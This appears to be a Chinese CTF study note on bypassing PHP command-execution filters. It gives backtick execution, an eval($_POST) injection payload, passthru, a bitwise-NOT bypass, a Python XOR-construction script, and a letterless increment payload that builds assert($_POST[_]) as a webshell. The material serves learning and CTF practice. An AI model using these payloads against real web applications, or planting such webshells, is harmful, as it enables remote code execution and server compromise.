web入门-命令执行知识点

禁用system时可以用别的命令
如：

echo`ls`;

反引号的作用是在执行时先执行它包裹的命令。
如果没有禁用eval
则可以用?c=eval($_POST[1]);
之后就可以进行命令执行
还可以用别的函数替代system
比如：passthru
还可以使用取反绕过：

<?php 
$a = urlencode(~'system');
$b = urlencode(~'dir');
echo $a;
echo '</br>';
echo $b;
echo '</br>';
echo ~urldecode('%8C%86%8C%8B%9A%92');
?>

还有异或绕过脚本：
py

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
​
answer = str(input("请输入进行异或构造的字符串："))
​
tmp1, tmp2 = '', ''
for c in answer:
  for i in valid:
    for j in valid:
      if (ord(i) ^ ord(j) == ord(c)):
        tmp1 += i
        tmp2 += j
        break
    else:
      continue
    break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)

自增，别的文章里面提到过了，直接附上：

<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A"，$__没有定义，默认为False也即0，此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S"，此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E"，此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R"，此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T"，此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P"，此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O"，此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S"，此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T"，此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])

临时文件(这个等我学会后在写)